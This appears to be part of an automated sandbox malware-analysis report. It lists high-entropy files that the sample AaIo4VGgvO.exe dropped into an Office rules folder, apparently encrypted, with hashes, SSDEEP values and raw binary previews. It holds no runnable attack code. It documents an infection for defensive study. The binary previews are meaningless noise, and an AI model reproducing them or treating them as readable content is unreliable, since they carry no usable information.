Preview:	<?xmlY..O;{hJ.....G>L....;....~..ni.._C..#.....I....z.c.e.x5.>?....q.........!..xQ.....M..f.. .f.z.m.p...&.`..`.-P.7}Fb... ........t.#.k..`.T...H.lnn=.`X.`...4...D..,de....![Hd.}..?..G.5..#/G%...&W...5...Y..`/...W..X,.......t{Rn2lU....+).r.v.d.@(.;....K.J..\|/w.stO..).p(.....Z..9.c.......a.../.wg\...a#d.c....7.a.x'...@o...j'..Q..6..O@......)........3..\|.....9T.0.[.DH....t....'...."7X.....4..\|....P.a..:.f.@..].QMNV..C...X.o.d,9#.:.Q.......(g..r.45.....Z#...n.........;.q..!.Vs.9g....+[..8Cj*..U5x..A;../...c.qV.14C`...~...K.S...../...Y"....c._..$......R@.r. L9..JB....R....._.......z`..94:..]......[.wV..oQ.].S.`mA.....te...8.`.=.u8....M)..u.......X {..`[o.~].5.(....hIu.L.n..F]....l.Q3.-.....\.p..jh.Q6'.....rL..7n......A....;.W......B....h`.A......<_.v.qm..^>...f.+J.M.....o.....}E....r.![`>..s..bH.9<.@.....6... .Ld....j...f....d-..H.h.2.R.mU....+P.r..E+.@B.....;E.....O..g.~....@.c....I..T.gG..((.6..]h~.G3G-N'..WA..'T@...&...T.9.;i...Q.(M.\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.961568026017625
Encrypted:	false
SSDEEP:	96:3xYHT/Jiw2CIm41oiw5x0A8kor2ErpCGZtM6Xmy+/LJxVw1OtgGglh:3xi/R2CP4148kW2EF3RXP2Vvw1OtgGgH
MD5:	F02A070BA8E3DBAC87CA6E7EE33D1883
SHA1:	9BF031A0207A2E0DB34401193A4AFB11374907FF
SHA-256:	B554FDCE6848D832FF0B0D97EEB5EC3030CC5894881B00CF33234E5F1D26A3D5
SHA-512:	1655AF786B1D8C36E53B8218E7C240DD7002B5DE98F3DA1DC6F26C72DEE4DCFCAF000C4FA435259B5510C30EADCBB3219B59CD44A29F7BCB636AC9FFC11C8279
Malicious:	false
Preview:	<?xml....'_..9.`.M..h.'5.$..=..(4.....R.`..Z.e.....:..]..}..`...>l.Fx.n../2e..R....;.Ag..#...b]b..t........dKJ}..#.W.[wz....G.J....`..?..Zb.Q.jt.?.....p.I!dd...0n..".s.t.L.v..wf.p'...p.....).J.....:...f..s.kCTv..;S.Y...E..q.\|...."..../....m..>.X7........X.~.[.H......Z..].=....EG...4w.j...."..-..I.,.!.H.s.Q?.wV.?X.2.2.)..{..u..(...f.J....0.N..iy........d.['.xK;....)..(.....Y<...b...,D.f..X..b..D...`.[.9...`.K....vD..pW..`.{.d..X.G.#I..}{+.L.6f....+..r.(.B......3....M.".T..o...3[...V..3m[:.....F......5@.}...t.Q...+....N..K.]o.lg..@....3.......\|..@..2..6.......%....^..].:B..:.%...:)..}.^..eh.....M/.ISj..mL...<b........B..].]...;....y.....pe.+FfB.+...W..8.y..".$W.....i=.m*...F.+..{......Y..t.!....p]..e.y.[......\v 6........GMY.]+.,.lnB..w.3..M.y.6.&......`n....C.3i..L..yV6Y.U3.4q..4...p.aq..{..9....?...q.!......t..lI.....{.5.../...<`.s'.V.Fb....".._..^T.V.+.B2?..p..2.4.Y..R.j....sizs%../?zm...-..>..K@....n....-.K/.]Z.".......`"E.x..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.977539063354508
Encrypted:	false
SSDEEP:	192:BrlEEaWGPwLLzJLpOCu9psldMebprEBEZpZQoQbgt/U:hdcorVgp2bSEP7R/U
MD5:	BB142B4F70E5445F396CD508B7B58BFA
SHA1:	08199E51D826E777AB8F2E7453CE5C99AA317DF7
SHA-256:	CCD6ACE9FC7585402B3043DAD079E2575DA09F33A79F2930EF76CEC80767A687
SHA-512:	9D4EDE18CC82518B4E795B1B7AE3DE46AF26EB226D80EBC4E70339ED339C2E3984233BAC9AAD1DFE30C6F12CD41215349BAA6DFCDB9A15E76AE179F2DBC71D09
Malicious:	false
Preview:	<?xml...>...cA.d@..(I.{.>..HOJ..`[...Ly.....j..z.!. ....E..k...a.La.~...P.....:....T+..(..o.y_.....=t`<.?H.I<...+v.......:!.G.....Yc5..@....K.8....F....7[7%1t\|...%..0....w..L.:P.1........!}....%~9...X...2....#..N.@j..^..!...5 ..dH.a.x?........... .c,........:......../....t.....ax..S?4...m.s..........uD..D0\P...g_.'Jf@+r..[.+QY;Q...9^.:..3.....E...#..9.....B.=a.. 6eR..^.!.XU.k./.+...&.Y....\|.Cb.tw.'.~.#),.C..!w.q....h.H......4...].'...f....i....U..\|......jF...H.Q.......,jy..'...C.....a..UAU/\#..S......[.4..=.....ewc..M<V...^..%ir.....h+1D.....`f..B..R..l..9.....R.." .U...'.....k8....H.b6......s.....t.j.s.....>....8.o#ix+...gK.L..=t`A..!....L...l..v...^...d.9..U}..z~....xw...bY23..u'..R.{.........S......A8......3Y...?....a...zyx..........6pQ.o..i...v.q.....d..7..qk\d.N.t...V..R.....W.qs....;.H...#.Q...QBlU..\. q=~..!.}.~.I."....,...{N....IQ.....n..\|...L...D.BBd...n..O........`......._?.+.T.Vy...._C.9[.H.~oD.V$.W..9..}..3.X.,.k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.971659024867199
Encrypted:	false
SSDEEP:	192:ESi8Q9msblcH+WQteNNf2NIj++Z79gHQuudlscfzgr:ESMlrW4Wtf+iyQuudlsc7A
MD5:	F62B9197C5374C7A0BF3E11EC15844EB
SHA1:	B39489D1CA15BBC837D1782F82B1B0D3760F215C
SHA-256:	D102D16FF0E96A5C1DFE864677B8841CDAF715D2EBF47B9A4A72DE7DC849B8DC
SHA-512:	A6FDE9039072D5D08BAB30739B4B202C37948696D8189540B22556DF08EF64617FF57D28FD30265F5316B5A555CBBD3D552CF4BAD8556DE475B7AB14598439C6
Malicious:	false
Preview:	<?xml..R......`7`.K......y.o.."........0.8\|.0n.....R....:.o..]...7{.K.U....AE..k+..a.q.@....DO.Y...y.....W..!.-T...i....h....n.....?..f...G...<g\A.&..WFj..24.....h_$b.E$..L~8.....9...>P..........oL....Z...!....<.%....-.9>.ud.A8.............e...P.~..k......k$.....k/...1...{...-Y......A.f.l._......D"=.=@..g.{r.d.m.'.~{.3....)[d..,s..k-..C#b.......q.......L&...n....:..@.h;...Q........2..xof.C...F+..C!Z..1....T.@(...;W.w.....V......?.:...J8^KXcu.\[v......Gnl..M.{6.I.... .}Rb.Ft..D...C.s(..[5.l..<Q....oO.J.."+^.V...&...k....._.\x.;c.........../....=....Mn).=9iL...S.a6F....57J.4.I..b..-.8.kZ.km.zNM!....O.^2D....h..N9.ii.$)0m.c.....Ee.....Q..<...m...K......2T;N...v ..96.d.w.Q...w...~..f.(.J.".OU._v'g6.}.[..y?].._-._..J.Opa..;.d..@.e.m....}......93.nb...E..f.}.N.......e.....pbs..a-.r..;i2gh.%8?.;\|0V.ZD.....u.....g[.i.f.i..z0,...0.....4u7.pg..z......d..V#.R.../.hj.LL.}:. .~..-x}b.U.`.P...-p....\..r...8.U...&..I.iD....^r...>....]..6.s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.877305220763129
Encrypted:	false
SSDEEP:	24:qxOf1IUNQcxIHg93KTemZkPfq0gYmqOYaS+/kfHSEoE1ZFEBiP+x9m/owlbD:9IUNwO3uHLnEOPn/MCKZFEBJoV1D
MD5:	981DB568916759C150EB7C519CD669DB
SHA1:	0C3954C72AFB36BFA4DE64D380C21C6E9DE24B86
SHA-256:	39F32710B78401B23FC8C34959908F264465BE1D40C7FEB6C7767D2B7FADACBC
SHA-512:	9158336837B34676999974BD31DEB1D593F893D10645D7267C628F96EA3680ABC9C04A0BB16D4843C4BA90E5C1F9D72044735F5B86070893A7223BA13F6D63B7
Malicious:	false
Preview:	<?xmlA..Q.."......$..q..d 6-.....DZ.......!.?..a.m..?....FWwQ.i).l.Y.#d....s...9....tf..Z.un...3.....l@o.C.RFt.......x.9...@5O..n%.9.8mm(...\|..........1.!m...J~... ...s!...{.e......p\.@...........+..S...3_.%...F....2.......[P1....?.4.~Onn...7.........*[.........T..y..Y....S.M...4.7..)a.f.......B.z3...2.a..d....===V0...{-....4J&.e..,GBdR.X..Wp3...!.... .-.>.`.#.3..E4._t..9.qV..m...z,.a"..q.X..J...:..}...?!..G".>..9[..Zq/P"...}(:JF...U.B/....z...\]F......L..p.(;#............?..D4.....%.#...........UL..B...6.....}..dIz.3..<[.....K..S.(AP...Z...7[...X.D....{...M<.-......ryS.9g.P).>.;C..K..\|..Y...d.1......F.Z.M..KvK}I..E .L..=.....hg..w...._;..3...1.-W."...v...H..J&.....;. .D..]..C.dj#....C`......jqd.k.....<.+"...2c.c]j...&.A._.....#.............5...[z..Q.5..0X...Nk..4.:}.t+...\.fg..)......!..qJ..2.....uQl.}...@.q...F+M.e..G..RL/z,....`...\....l;..d..&..\|..6XB.....}=m..M.N..@.....w.f.`L<.t!.A..#.Hr.rz.....K].j..#.`Q1O\..{..It)..G.&/.Fg.....N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.898364387816468
Encrypted:	false
SSDEEP:	48:8P1e5UdN80LW48Me3RH5dQXO5WVvw7/AC977CD:8PKEN8898Med5GXO5WG7/99XK
MD5:	7F10E0C224C44F2344E480A3F0754FB3
SHA1:	236D0E947BDA8C40B1D12503E49AD615EA9B4A51
SHA-256:	E0ED25C4DB70B6B0AE066CA0FE92EACBA882D9CC36B90461FF68A9CF05B406F1
SHA-512:	592B1CFF83186E40943C2ABAA6B3E9F3AA47DBDFFF21E63F2D64E5894D7929D4F2ADE8F3B510549FE3C33CD0A120A13DDA3433D43E078764C7CF1F7EA41F85B5
Malicious:	false
Preview:	<?xml..V..>Q(..G.F.8...".L..}`04.p.....;1.q6E.E..._....r(...Y_...>....a.5i.....9.X..5x..e.;.....e.E6..A.:3...`:J....dF_....y.s.sQWK.....3M....l......Y.3,..>Zd.I.B.#..;N..^7.c.)....v..9.2.-...-?....~.Rm.@..YI.'B?..1j.!.F6[m..{.<..\Vk...=..0......Y....._.B.3....Q ...j&P..b.n....yd....R.R@......S.zv.)..ej..X....Z...i........&.....e.^.../2o.]]z..U..Z}C...0\|.[I.?m.c....E.......?.\|.b...d./.....Yk.d..o.p...mO.@.........V..Z...E/.BU?k..=.k`...e...6.X....G.P@1$......b....e..dk... .B.....q..+7Q.?m.._....W...S...A...2C...k/Z.d..n7Z8AU.._.NY.1w.~Z"...H.g.s5..zM.VfX.......D";.7T..`..Y...n...x\],....zGHl...y..$.HQ4w.%X...p9O.oNrcaW......Ax3s%.}......V.nJ...A.8.}....P..)u....>d..g...rJ..H...'..P..yV....+.\|..d.C.1......N...j.%....?.....w..T..^ ....p..`.s..G.,).Nc6;=.........\|..a.%..[.}...+ ._4.s.n.....bO..Eg..W....t...r.N]+..&..Ih.....z^.....c...;i\0...".Ud.'~...j.t..v..J..t..=......Z..U..a9....\|b....9.rN...U-"u..../..@b.s...1.H....P.j."7!...r.#7...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.901569513627375
Encrypted:	false
SSDEEP:	48:I9zdiLXgYqlAprmvYdXkeeT57NNVwFbUkiD:5QYqMrmQXiAbUkq
MD5:	454C723ECB3CE1B1B316977CEDECA6C4
SHA1:	AE40EE96ABA5EE6D5E491FE304211FD96F052FE8
SHA-256:	B582C86A8B9ED27C66B20E7EDC518E2EE279443CE8DC7EE5268321DAF57727A1
SHA-512:	AD255DEBAE9C0965CE1B88633C7C4B9114FC51A5AA87E24FD21303DEBE8A73559569B66EF7F511A3D14C7891A83D94D2F5683947596F65EBB5BD2BF7DAA3151D
Malicious:	false
Preview:	<?xml&..~......f..C.U..O...............zC\|..K.i....JQ..<..ip..%{$...C\._P..d.'p......8..9....JJh.O..X%\N....C.9U.aI.:.....?..z.e.M..aM.......uoZ..'.b{."..1Q...2vx.....S).x..{X'.H.\|....^p.D2.\|..&...4...Q..:jF.=...[.<..o..?@.[v\|.U.".o.....S.AW....@.....}.......u..;..K.L\2..r....O..q..Q...j.r..h<...(...R.M.2&..u.6a......mSf...uJ.......$.......f.P.,v..r.w....?=C.+..-.U..!...].4.9./.V^.~...^.H..j....J.WA......V.....6..l)..uX^.`K.0..M...s0B..+...#...-(..Dr..1.....p..'."..p.F}Eq~..[..@(...q.`...b.[..z.&VD.....J.],...R~.IX.`......P{.....=Q..z.?W5m...r.i..;}#.'8..3.NP).kQR...b.G)@.=$".@..E!u.X......HM;.>c...o.M.G1....3.X..(.W.&j.n..A.s/.Mk-,'.L.3.XJ.th.Yv9P.u$.......(3G.@_,.9.....a.#2..Y(...2b....W..G"m.....#.w..}......s=....$.o..SA..7.1.0`..;k8......p.;..1pim$.C...........@.k..o+...2.X#......;k.}8..Pn......J.............4Xu.}.T.Y.?.a.V2.....v.8.....kN...i(....?@3....\3...#q...U?..o.j(Q...qiw._.^I..~....q.8.d..-..\|e..>0.3..7...:.5.....V.&..+..9.k..6...h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.873335338709726
Encrypted:	false
SSDEEP:	24:zmtRZdkOW5zwtT5HCF7Wz8qGypW6JU9fMOdWYNmAd2YeBP9VbD:KtiOW5zICx+G6qkO0SmAd6BrD
MD5:	F1D062678220FEA7890C97EB95D32B9B
SHA1:	3298E192788A82FE2D7585657FED314EED6E9CC8
SHA-256:	61C51DC4736D652E56095A4EEABA15419CC3DD09F95C43D76B7FCE88AD2EB730
SHA-512:	77829C002ACEBD7B127D61828CEAA748053D2E8A6DC068EECCABD90A29666FE3F079A8C54710CAD9E2306AD365431CD0ADBF9EDF522DE1C9424906D94BB101D0
Malicious:	false
Preview:	<?xml..\.........&.e..f..:.3!)`....xTRs.....c...[2..:.R.M.....I.._v..I.......t...I,..i....>\{.&..M....L}.'.......iO..-T......"......l.g8\|......gGYg..z.....7.I2.).<.....\,..&i?kW\|..y8.N.N.c.Tevi..8....x..L..OG.I...x.3..X.@..<.....D.4...5.;Z.K&..-.T.@.A.gX.........s..C...s...tE.o.."r-B./y$.M.....X>..>c.F.......&.t.hiy?.b........c-.........FU.h....}...n.J...}.#T...Q..4...a.Y.D.I..I...9.f`o6...Q.)../...R.t......o..A.Xxr.\.'.P-O).M....I.'O].q.g..)...!.B"..IYUcW..oZ....;U..]~...D....Y.T.....Y.P.....KBM.W.BA#s._..x.,.i.....^...,z\.Z....I.......^.k.9...Q..`T`...V!@%....Vm....mF...+.8.mm.z1/...(..[.h..S..c..>..`a..N..Ga.Ku.D..J..<...`w.]W.N.$)..._ .?...V...j.....s...s.f....0q.......-.J......)...v...?...<.a..p.0...<..c..z..n....Y....OA{C.T.\.q.{+.+r...t.d..:..7..)...Uw..`..8.....v-..en....9zP..&)..<....Q....X.58P"..$.......v...7.}..3.......^.OG..V.RN.G..R).mo*g[.r..f.<j.&I.t6Ef..3..ou..%..^......\|.Axu..I..\|..o......\.. -..H....73....iFX

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.8605825019607165
Encrypted:	false
SSDEEP:	24:qRHSRiQnnjN6VFaf//oHtT4z9KvEx0Zty3ZFOEB/u95yLjz+yORJJKjibD:2cjNT/oHt00sx0ZA3ZF7xE5yLjz/UJJh
MD5:	67FD452A20141E5632FE38ED2306B505
SHA1:	175AC44F319858002D94B0A277693A63DEF8F4A4
SHA-256:	8F9417C2007DB122B97BDA54D70BE938912F5B51E9BA7DF593A4C96567470FBC
SHA-512:	0680769ED5B1EB6CC747EA3F375375A1005BD4CCC13C0433E829DAC056928E7FE447E9BA4F779292D95D1DB45AB557843B8E88BA1A85D4FECAE1E9D883910294
Malicious:	false
Preview:	<?xml.f}\....:..c.D..4...<..9R..t.n..R.p.w........F..I..@....U.V..")V"...Go..bz....(...-#.....Bnr......f..[....;-vujsxi...^.f{>(..;{Z.X.....h......2.P........!.C.f.f:.d.U\.-.#.c...@..s...;o.......k.....+......\.....CPa..^.}9...w!...m+.b+n.H.V.,....\.#..(....1=F..g.........qE..u(.$.[...J.GV.3.i...L..n.J..&..`..n..n..c...<.l.l......\$9....7..2.....8_.._...........,.7../g"...N ..n.....K...._.1.\.,..^.@....>..........!...6..Xc..M=TC..j.N.W=.o.\"..`7R...3.+.Z.;....H;.......g.;.dj...-.y...(.....Eg.]-}V?r.. t.S9....1'....P.?_B...m^.@.J..u....uf.....{..P...(qW..9u....!...Eu..(.v..m.a6W.D^.....B.".m.>e.R.F.F'..R....d16.dk.H..@.9.0..z.n1..../,..RX.R5....B"5+E...L....W.^SZ......2C`$....N..L..\..M&8 5&..}.m..Q..3F..."F[...Z!Q=.Ke.vt..."..1.....V._;.(....n...l...3.2....t..q...y..-."$U..#..CXq..c...-"0.(..z:.;....z.........2.QV$..{....N...9..7.('M}.@....T.#...:.....i...kgKs8.:...o...w...*.g.M."o.{...~....U..L.2...h@.H@2..K.....)C....M.eA~."9.oJ..z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.864660434362508
Encrypted:	false
SSDEEP:	48:WPKwz29vbxUsgQ1cfHbOHl/Tem9J1NzS2TD:WPKwzMFUsJO6HRvH
MD5:	0986505119E50E535F1392C5F91B223E
SHA1:	B9949E068D6D44EE6BEF070B5F63EAADA02A7F7C
SHA-256:	3A9EE780FF6D212588622D6CCD7A547F2169E1BEA9E26B073A91134555D23B81
SHA-512:	FE6FEE645E85B4E2F2B71257BDDB71A70194BEA350346F45BE777DC93822AB3904D6B47750CB38F8EC4A35E882711287A00F1B61FCE848C938A33A40BFB44FA2
Malicious:	false
Preview:	<?xml...._.J..[.D..W....^.......\|A..R.;V6.Qr..KN...[.C....\|D.ME.0,h'..r:.$..f. ....8`.....-d..[$"i.\|.?.j..B&.....AO..(#..A...j...f....3q.c..HE.9.p.r..<..J?...M..?.2.m..".E....%z..I)..q.6../H.i..g...(..d....eA....2.....U..:.I...s.I[.....b........B5....r\<bfA=.......G$w.^H..h/.N......v\$...u.".Dp,.8.J....U....p~.Q...Z+2#.5b....q...A...";..y.6m....:.G.z..g.o...^.:..C....9..?..^....D...Iu."B...y.^V.h....c.#d3\....r^...-`&._.......".N.(..8......5....1..j.0"{)o.h'DUJ..HqO4...-#..E1..E....6.L"u...s.6..c....d....e...u7bW.._.}..D&.6.].c....4..../fyF.....%.....@\|....T.n.V.W..."...W/'.r.....ga....Oz}.. .E........eYs7...uJ.G.B..E....o'H........B?Z7...3.Y...........*W...gP1..'....MUC..lPI,.h'..4,....%?P&...1...@...".[..D.....am0..]C.o..A.S...S....s...Z..>4.f....n3S....p1pY....}...el.j....7..e...p........6K.h...A....y.W.y..%..G.C.....z.....^.Q.......dO9.v...=\d...jX.Gxo.m...$\|.+.h........$q...9.vm.....1........../.u...I...e.e-...........~D.EE....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.735816704881779
Encrypted:	false
SSDEEP:	24:w+sdBFb5OVdiyuSsYos/VRSHtGJU7e+HbD:w+sdBPEEis9stRSNGsxD
MD5:	AF852A5394BAF4879C9D99E74C7FC432
SHA1:	FDEE97DC417BFD2D62512B124E5391378CD5029A
SHA-256:	524E5764B279F18DC3733C949A1717A2ABAC68A7DD019959591FE5CAA202C453
SHA-512:	81AF342054AAB901EECB423180964BF47E269BAEA0735045A5E0D7B8C818196CEF6ED9E2565335FFA2B9ABF578E6BB53DAD658956A1FE3B873785A9D66E26937
Malicious:	false
Preview:	<?xml.b_%HW..h..%.dW]O...p[..x...O.0.v..;.Ir.?....i.(.d.....,.......h.Cii.r.wM.f'...a...\..K..O..2.....D...o.J.e.?B./..I.O....o=.\.-Q..7r..8._."....n.uc.pT...j..b....2M.M.B......x.+.$ #.2k.6.5..".<b.0k.Nk...AO.8)......;}....K.{.....e.'xb -;..\|6t...8sw.O.RTy.........X..lQl....xy..Hz.BYR/)..\|.!(...1.....2.G....Co.;v=..x......!.....[Y[.s.......!.....6]OT.\.\...$.YE..xN.....vs.......l{.X....R...z..Du._..=u.P....:.......\|9RN.....pL.v..r...y..c....T...H.E........JC.db.\E.w.X...y..>y.;..F.IC...x~.....e(x;....b.._.....p....z..B.o..uA5.(.....[.3...6......V.....E.!..i.Z^.`....^.M&...5c.....P."...Y.f$..9......O.._...;^...[.8.x....P.H..1. ..Y)9...._J........1.....1....R.....b.8(e.B.P..S.\F..\.;Ne..xs.{..............}&.1....&@ .....e.n.W......dv..mx..u..>...z&...-..@y.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.951965758074245
Encrypted:	false
SSDEEP:	96:Ku4Q6Gic8l3JIYqL77LO3yH2n+q7y08kTrjb:eQ61cKibUvTr3
MD5:	75484A3C0688364E1C6B867E2079CC47
SHA1:	7B46B44F7DAF9CDF1C32A8CF77F7FB5E4BBFEE81
SHA-256:	E9D66EB03A02061E774265D4F856CA3D57FF48683B009B0BB28AE6176FA01B89
SHA-512:	CDD2ACA5EE331D65668E51978A89C3C33EBB1CACA9DE79270A2C68DC5C1B6FC1B90A5F519A1F326B7D03D643DBDA5CA8C63D77EE7B86E900DAA16824D5CC3011
Malicious:	false
Preview:	<?xml~.$...P...L-=B.2y...'...:HC...T.C:.j.....z...0..sd..A....k5...)d./.....N.....xD.{...v..C].6..+/..../.....Oy..E...u..JWX...u.9.xh...6'.5..o5D%..)Yq'.N...BH?....H,..2..)BM....N.Z2)g.w.w%{.d..dt..T....k..#...XWy.~(+].4-.ENo.s.N..wp...do#.0.... .z.m.........%.!...;..q$[.....d...tjo.0,.[>q....o. ...;((e.....H.:.9.XW......Q.+.A.....Cw..X.f.....0+.......%..B...}.\.b...ur..F.m...g.t....\.FS`...#..x...ob..~....ytAQOc732.....k.sG#<@i/L.4...".Y..L....Q...`'[....4Y'j:.B_.}t...\|y.D..g]...@..^..b.J'._.0..4$....7.%.q.f.5..$...m....)G.%=<.$..1v...S...c......D\`.1....'_..kF..s=.\.....%l...7.G.r.P..s.S%K..\....9...A.!..a...........R......rv.2..W6/S.rp.4z.jI.4./....Y.3.p....t..t..6.4p.V....".MF....=.3G..k.zz.2...x".U.(T.E~jJ...4i....1....-'<.g...l..\g...\|.\|<..4c.......O.y..e/........Q..Q.H.D.../.id.B.~Q../pl.. ..92...b.....v3.#._...qPAm..Q.O..f........(..H#;..m..U.n..._.4.J..Q!...O........C<a.6....Qk.N..Nzp.0C...o%..J./....@...M.H..ZjX

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.95497440594371
Encrypted:	false
SSDEEP:	96:LfYw9FEpWTOlk+XsiFqfIbnhBOwqjIoMi3UNBm67a9PdC/P0nUGA:NUqOWm3qgbpBBmAa9PdwUUr
MD5:	D753D8C9E2DFF226936F64660249ABE8
SHA1:	E0B5A7A04D808882531E1CE91266B94906EFBC17
SHA-256:	1C397B0080A3EB621B60ABE6ACB900E75CD3FAC557CF82A1584ACAA5E420423D
SHA-512:	B80AF19B8A1BA4003A7A0F1B2E1C3BD0D69293BF71484DA546A82E9519E29CDFD1798EFF20069E787F958A1BB14C6AE722BAA18B4C1735DE703E02666C6F666E
Malicious:	false
Preview:	<?xmlX#.Wy..,.,.]!5P.Z.^.-....v/UGu.z..B\.wp.<..r....n...'..@..3...Ir<......B_........Ga-a <)[.F..Og#....v.c...n..b.]vw......y.{....oHRB.g>......P.Ut..X1...T.to.....xd.m8>lW{.ff.=}...v...],7.+M.aX ..Ev.^.x..6UV+...i..~..F.f .k}u.....o......M5O...3e.?..@.......9.#...4.y......[....<{.$R...E.=...q.{.<#&.........,t..r..s(.p.5..?qSU.Q.y..`...w.+...+.~...i'..8.^..4.x..a..h.M....4.cS.(...............;..rFSd...J.t..]p,W.m...\.%....gy44..<..i[...^}.......Lm.._#g.....jy<........~EF..6.L..,q MA.qU...)...B..........[.{..k6...F....0....:..&.............,8..(.....d.t.i.u#7..zZR.8........\~xp...t...s..;{.i{Q.8..G%.LA^.......$.)....Sq.i.%...6.R...i....>.U.R.8....qzw..O.sI.Wr.5C.(e...I.W...1...h5YX..........\.W.......2.]r...a+.M..."9...;+...z%..9..t)dF..N.n.......~$yp.?.?~_...Gc......?s.@..7_...n...\|.h.P./......B^...W:S...r,I.q..C_S...ZA.%.,v....D..!.`LNZc!.<z.UR.....+.W..eP.i..>./Q.y.\|i../...gT..I...\|4.d........@.xo...E4...Q..p.\"..1.....vn...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.690790367997133
Encrypted:	false
SSDEEP:	12:yXxxeIy5hH6PxbkVQohABgbUan3pd7Kv5yWGotKwzXyfGZpecH1+cii9a:yXxxFy34WhASYannKhypYlDzcjbD
MD5:	9896FC28994933F1378F45FB2EA61675
SHA1:	B0872E23E7B1B0B86E9ADADD680E948973D64C12
SHA-256:	0C941B0215F4E1679F353C687A474ED7E17A79EF1C3D6FC2B1BBF1A01EE98A27
SHA-512:	061C6D54B6FFD67E12B9398182CF33E38A25BB01554CDAE543C8C55F57104C0954A492BEB1A7C1DDE5FDF6D30340C56D765F5C24AA567884193C48FA5785466C
Malicious:	false
Preview:	<?xml....m..Og....w.....d+"...Px<..N(..)C..M.1ECv.....l7...)@..-.mNgi!<6H........&.Y....s4..(.9...G..Q.m..v....Y..............wb...0vfL....0ky.g%....0=>!./@d....lB.t.0..FB6.c.......:.V.d....@.y.D..A..H.uIW.....Sg..I.0u...KY.T..gv..p..$....>.=!..C...}+..d..r9a...,d.`..I.V.C.=.m#".....f=...0.'.....g.@.[^%...m.?JM..t.P.e..........^@m..`..ve.F4..H..hGL..W.l...D..z....y...F.......<sl[.....x..Aa1.u].W....Q.........p.\.~..Ox/#.Vmm.u..o.Y....0..A.......0..]...*.EU'r.[.l...S...YB..r...w6.&8BRj..s..H.....MO.......d2.'.d.=.q....\|.u....iv.oJ.r...V....n?......k..p.&MX....S-.YD.i..$E...S.Z.'...sWrb..QS....P......].W".;=.N...N...i......&....\.Z....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.883648295856489
Encrypted:	false
SSDEEP:	24:e9ecKDgJr1zNl7TV78mUo4pGk1LB45gZxTHJ0c6QTPtSxW4e3MCcSRsbD:emar1/7TiHow1AaZxTpHPKo3MCc+mD
MD5:	C143F199F2EFB3E61429694F90FBD12C
SHA1:	0BAEBE388E7BDC129BC62EE25629CFB08BC326C7
SHA-256:	89E9B101FC9043D0C9452A54AEC6653E7EE9F807FF66EB12BD08DB0EB96EBA8F
SHA-512:	3DBB28632A9373641246123988C922D1836D4C08E70A4A0568CB94C4AD1B64005F3CCE334CBA50380F82F72C5F3DA715C3DF73E2F67617BFF0E20E10E6CBB155
Malicious:	false
